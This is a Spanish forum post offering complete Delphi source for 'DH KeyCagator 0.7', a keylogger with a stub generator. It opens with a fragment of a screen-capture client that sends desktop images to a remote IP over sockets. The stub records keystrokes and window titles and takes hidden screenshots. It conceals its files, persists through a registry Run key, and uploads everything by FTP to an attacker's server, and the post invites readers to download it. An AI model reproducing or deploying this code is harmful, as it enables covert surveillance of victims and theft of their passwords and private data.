    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;
 
  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');
 
  target := regex(todo, '[ip]', '[ip]');
 
  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;
 
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;
 
begin
 
  try
    begin
 
      if ClientSocket1.Active = True then
 
      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';
 
        chdir(dir);
 
        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;
 
        capturar('screen.jpg');
 
        archivo := dir + 'screen.jpg';
 
        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);
 
            sleep(500);
 
            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
 
            envio.Free;
 
            ClientSocket2.Address := target;
            ClientSocket2.Open;
 
            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;
 
end;
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.

Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

• Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
• Captura el nombre de la ventana actual
• Captura la pantalla
• Logs ordenados en un archivo HTML
• Se puede elegir el directorio en el que se guardan los Logs
• Se envia los logs por FTP
• Se oculta los rastros
• Se carga cada vez que inicia Windows
• Se puede usar shift+F9 para cargar los logs en la maquina infectada
• Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

Una imagen :



Los dos codigos :

El generador.

// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
// Keylogger Generator
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to Chokstyle
 
unit genkey;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
  jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, ShellApi;
 
type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sGroupBox8: TsGroupBox;
    sButton1: TsButton;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sEdit2: TsEdit;
    sComboBox1: TsComboBox;
    sGroupBox3: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox4: TsGroupBox;
    sLabel1: TsLabel;
    sCheckBox1: TsCheckBox;
    sEdit3: TsEdit;
    sGroupBox7: TsGroupBox;
    sLabel2: TsLabel;
    sCheckBox2: TsCheckBox;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sEdit7: TsEdit;
    sEdit8: TsEdit;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    sGroupBox9: TsGroupBox;
    sGroupBox10: TsGroupBox;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sLabel10: TsLabel;
    sLabel11: TsLabel;
    sEdit9: TsEdit;
    sEdit10: TsEdit;
    sEdit11: TsEdit;
    sEdit12: TsEdit;
    sButton2: TsButton;
    IdFTP1: TIdFTP;
    OpenDialog1: TOpenDialog;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
// Functions
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
//
 
procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
var
  lineafinal: string;
 
  savein_especial: string;
  savein: string;
  foldername: string;
 
  capture_op: string;
  capture_seconds: integer;
 
  ftp_op: string;
  ftp_seconds: integer;
  ftp_host_txt: string;
  ftp_user_txt: string;
  ftp_pass_txt: string;
  ftp_path_txt: string;
 
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
 
  stubgenerado: string;
  op: string;
  change: DWORD;
  valor: string;
 
begin
 
  if (sRadioButton1.Checked = True) then
 
  begin
 
    savein_especial := '0';
 
    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := sComboBox1.Items[sComboBox1.ItemIndex];
    end;
 
  end;
 
  if (sRadioButton2.Checked = True) then
  begin
    savein_especial := '1';
    savein := sEdit2.Text;
  end;
 
  foldername := sEdit1.Text;
 
  if (sCheckBox1.Checked = True) then
  begin
    capture_op := '1';
  end
  else
  begin
    capture_op := '0';
  end;
 
  capture_seconds := StrToInt(sEdit3.Text) * 1000;
 
  if (sCheckBox2.Checked = True) then
  begin
    ftp_op := '1';
  end
  else
  begin
    ftp_op := '0';
  end;
 
  ftp_seconds := StrToInt(sEdit4.Text) * 1000;
 
  ftp_host_txt := sEdit5.Text;
  ftp_user_txt := sEdit7.Text;
  ftp_pass_txt := sEdit8.Text;
  ftp_path_txt := sEdit6.Text;
 
  lineafinal := '[63686175]' + dhencode
    ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
      '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
      '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
      + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
      '[ftp_seconds]' + IntToStr(ftp_seconds)
      + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
      '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
      ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
    'encode') + '[63686175]';
 
  aca := INVALID_HANDLE_VALUE;
  nose := 0;
 
  stubgenerado := 'keycagator_ready.exe';
 
  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/keycagator.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
 
  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;
 
  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
 
  if (op = 'Yes') then
  begin
    OpenDialog1.InitialDir := GetCurrentDir;
    if OpenDialog1.Execute then
    begin
 
      try
        begin
 
          valor := IntToStr(128);
 
          change := BeginUpdateResourceW
            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                  + '/' + stubgenerado)), False);
          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
            PWideChar(wideString(OpenDialog1.FileName)));
          EndUpdateResourceW(change, False);
          sStatusBar1.Panels[0].Text := '[+] Done ';
          sStatusBar1.Update;
        end;
      except
        begin
          sStatusBar1.Panels[0].Text := '[-] Error';
          sStatusBar1.Update;
        end;
      end;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[+] Done ';
      sStatusBar1.Update;
    end;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] Done ';
    sStatusBar1.Update;
  end;
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  dir: string;
  busqueda: TSearchRec;
 
begin
 
  IdFTP1.Host := sEdit9.Text;
  IdFTP1.Username := sEdit11.Text;
  IdFTP1.Password := sEdit12.Text;
 
  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
 
  try
    begin
      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
      DeleteFile(dir + '\' + busqueda.Name);
      while FindNext(busqueda) = 0 do
      begin
        DeleteFile(dir + '\' + busqueda.Name);
      end;
      FindClose(busqueda);
 
      rmdir(dir);
    end;
  except
    //
  end;
 
  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;
 
  ChDir(dir);
 
  try
    begin
      IdFTP1.Connect;
      IdFTP1.ChangeDir(sEdit10.Text);
 
      IdFTP1.List('*.*', True);
 
      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
      begin
        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
      end;
 
      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
 
      IdFTP1.Disconnect;
      IdFTP1.Free;
    end;
  except
    //
  end;
 
end;
 
end.
 
// The End ?
 

El stub.

// DH KeyCagator 0.7
// (C) Doddy Hackman 2013
 
program keycagator;
 
// {$APPTYPE CONSOLE}
 
uses
  SysUtils, Windows, WinInet, ShellApi;
 
var
  nombrereal: string;
  rutareal: string;
  yalisto: string;
  registro: HKEY;
  dir: string;
  time: integer;
 
  dir_hide: string;
  time_screen: integer;
  time_ftp: integer;
  ftp_host: Pchar;
  ftp_user: Pchar;
  ftp_password: Pchar;
  ftp_dir: Pchar;
 
  carpeta: string;
  directorio: string;
  dir_normal: string;
  dir_especial: string;
  ftp_online: string;
  screen_online: string;
  activado: string;
 
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;
 
  // Functions
 
function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;
 
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;
 
begin
 
  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;
 
  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;
 
  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;
 
end;
 
procedure savefile(filename, texto: string);
var
  ar: TextFile;
 
begin
 
  try
 
    begin
      AssignFile(ar, filename);
      FileMode := fmOpenWrite;
 
      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);
 
      Write(ar, texto);
      CloseFile(ar);
    end;
  except
    //
  end;
 
end;
 
procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: Pchar);
 
// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal
 
var
  controluno: HINTERNET;
  controldos: HINTERNET;
 
begin
 
  try
 
    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host,
        INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
        INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;
 
end;
 
procedure capturar_pantalla(nombre: string);
 
// Credits :
// Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
// Thanks to  www.delphibasics.info and n0v4
 
var
 
  uno: integer;
  dos: integer;
  cre: hDC;
  cre2: hDC;
  im: hBitmap;
  archivo: file of byte;
  parriba: TBITMAPFILEHEADER;
  cantidad: pointer;
  data: TBITMAPINFO;
 
begin
 
 
  // Start
 
  cre := getDC(getDeskTopWindow);
  cre2 := createCompatibleDC(cre);
  uno := getDeviceCaps(cre, HORZRES);
  dos := getDeviceCaps(cre, VERTRES);
  zeromemory(@data, sizeOf(data));
 
 
  // Config
 
  with data.bmiHeader do
  begin
    biSize := sizeOf(TBITMAPINFOHEADER);
    biWidth := uno;
    biheight := dos;
    biplanes := 1;
    biBitCount := 24;
 
  end;
 
  with parriba do
  begin
    bfType := ord('B') + (ord('M') shl 8);
    bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
      + uno * dos * 3;
    bfOffBits := sizeOf(TBITMAPINFOHEADER);
  end;
 
  //
 
  im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  selectObject(cre2, im);
 
  bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
 
  releaseDC(getDeskTopWindow, cre);
 
  // Make Photo
 
  AssignFile(archivo, nombre);
  Rewrite(archivo);
 
  blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  blockWrite(archivo, cantidad^, uno * dos * 3);
 
end;
 
procedure capturar_teclas;
 
var
  I: integer;
  Result: Longint;
  mayus: integer;
  shift: integer;
 
const
 
  n_numeros_izquierda: array [1 .. 10] of string =
    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
 
const
  t_numeros_izquierda: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
 
const
  n_numeros_derecha: array [1 .. 10] of string =
    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
 
const
  t_numeros_derecha: array [1 .. 10] of string =
    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
 
const
  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
    '291', '220', '221', '222', '226');
 
const
  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
    '|');
 
const
  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
    '226');
 
const
  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
 
begin
 
  while (1 = 1) do
  begin
 
    Sleep(time); // Time
 
    try
 
      begin
 
        // Others
 
        for I := Low(n_raros) to High(n_raros) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_raros[I]);
          end;
        end;
 
        // SHIFT
 
        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin
 
          for I := Low(n_shift) to High(n_shift) do
          begin
            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
            If Result = -32767 then
            begin
              savefile('logs.html', t_shift[I]);
            end;
          end;
 
          for I := 65 to 90 do
          begin
            Result := GetAsyncKeyState(I);
            If Result = -32767 then
            Begin
              savefile('logs.html', Chr(I + 0));
            End;
          end;
 
        end;
 
        // Numbers
 
        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_derecha[I]);
          end;
        end;
 
        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
        begin
          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
          If Result = -32767 then
          begin
            savefile('logs.html', t_numeros_izquierda[I]);
          end;
        end;
 
        // MAYUS
 
        if (GetKeyState(20) = 0) then
        begin
          mayus := 32;
        end
        else
        begin
          mayus := 0;
        end;
 
        for I := 65 to 90 do
        begin
          Result := GetAsyncKeyState(I);
          If Result = -32767 then
          Begin
            savefile('logs.html', Chr(I + mayus));
          End;
        end;
      end;
    except
      //
    end;
 
  end;
end;
 
procedure capturar_ventanas;
var
  ventana1: array [0 .. 255] of Char;
  nombre1: string;
  Nombre2: string; //
begin
  while (1 = 1) do
  begin
 
    try
 
      begin
        Sleep(time); // Time
 
        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
 
        nombre1 := ventana1;
 
        if not(nombre1 = Nombre2) then
        begin
          Nombre2 := nombre1;
          savefile('logs.html',
            '<hr style=color:#00FF00><h2><center>' + Nombre2 +
              '</h2></center><br>');
        end;
 
      end;
    except
      //
    end;
  end;
 
end;
 
procedure capturar_pantallas;
var
  generado: string;
begin
  while (1 = 1) do
  begin
 
    Sleep(time_screen);
 
    generado := IntToStr(Random(100)) + '.jpg';
 
    try
 
      begin
        capturar_pantalla(generado);
      end;
    except
      //
    end;
 
    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
 
    savefile('logs.html', '<br><br><center><img src=' + generado +
        '></center><br><br>');
 
  end;
end;
 
procedure subirftp;
var
  busqueda: TSearchRec;
begin
  while (1 = 1) do
  begin
 
    try
 
      begin
        Sleep(time_ftp);
 
        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
 
        FindFirst(dir + '*.jpg', faAnyFile, busqueda);
 
        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
            (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        while FindNext(busqueda) = 0 do
        begin
          upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
              (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
        end;
      end;
    except
      //
    end;
  end;
end;
 
procedure control;
var
  I: integer;
  re: Longint;
begin
 
  while (1 = 1) do
  begin
 
    try
 
      begin
 
        Sleep(time);
 
        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
        begin
 
          re := GetAsyncKeyState(120);
          If re = -32767 then
          Begin
 
            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
              SW_SHOWNORMAL);
 
          End;
        end;
      end;
    except
      //
    end;
  End;
end;
 
//
 
begin
 
  try
 
    // Config
 
    try
 
      begin
 
        // Edit
 
        ob := INVALID_HANDLE_VALUE;
        code := '';
 
        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
          nil, OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;
 
        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');
 
        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
        directorio := regex(todo, '[save]', '[save]');
        carpeta := regex(todo, '[folder]', '[folder]');
        screen_online := regex(todo, '[capture_op]', '[capture_op]');
        time_screen := StrToInt(regex(todo, '[capture_seconds]',
            '[capture_seconds]'));
        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
 
        dir_normal := dir_especial;
 
        time := 100; // Not Edit
 
        if (dir_normal = '1') then
        begin
          dir_hide := directorio;
        end
        else
        begin
          dir_hide := GetEnvironmentVariable(directorio) + '/';
        end;
 
        dir := dir_hide + carpeta + '/';
 
        if not(DirectoryExists(dir)) then
        begin
          CreateDir(dir);
        end;
 
        ChDir(dir);
 
        nombrereal := ExtractFileName(paramstr(0));
        rutareal := dir;
        yalisto := dir + nombrereal;
 
        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
 
        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
 
        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
 
        savefile(dir + '/logs.html', '');
 
        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
 
        savefile('logs.html',
          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
 
        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
        RegCloseKey(registro);
      end;
    except
      //
    end;
 
    // End
 
    // Start the party
 
    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
 
    if (screen_online = '1') then
    begin
      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
    end;
    if (ftp_online = '1') then
    begin
      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
    end;
 
    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
 
    // Readln;
 
    while (1 = 1) do
      Sleep(time);
 
  except
    //
  end;
 
end.
 
// The End ?
 

Si lo quieren bajar lo pueden hacer de aca.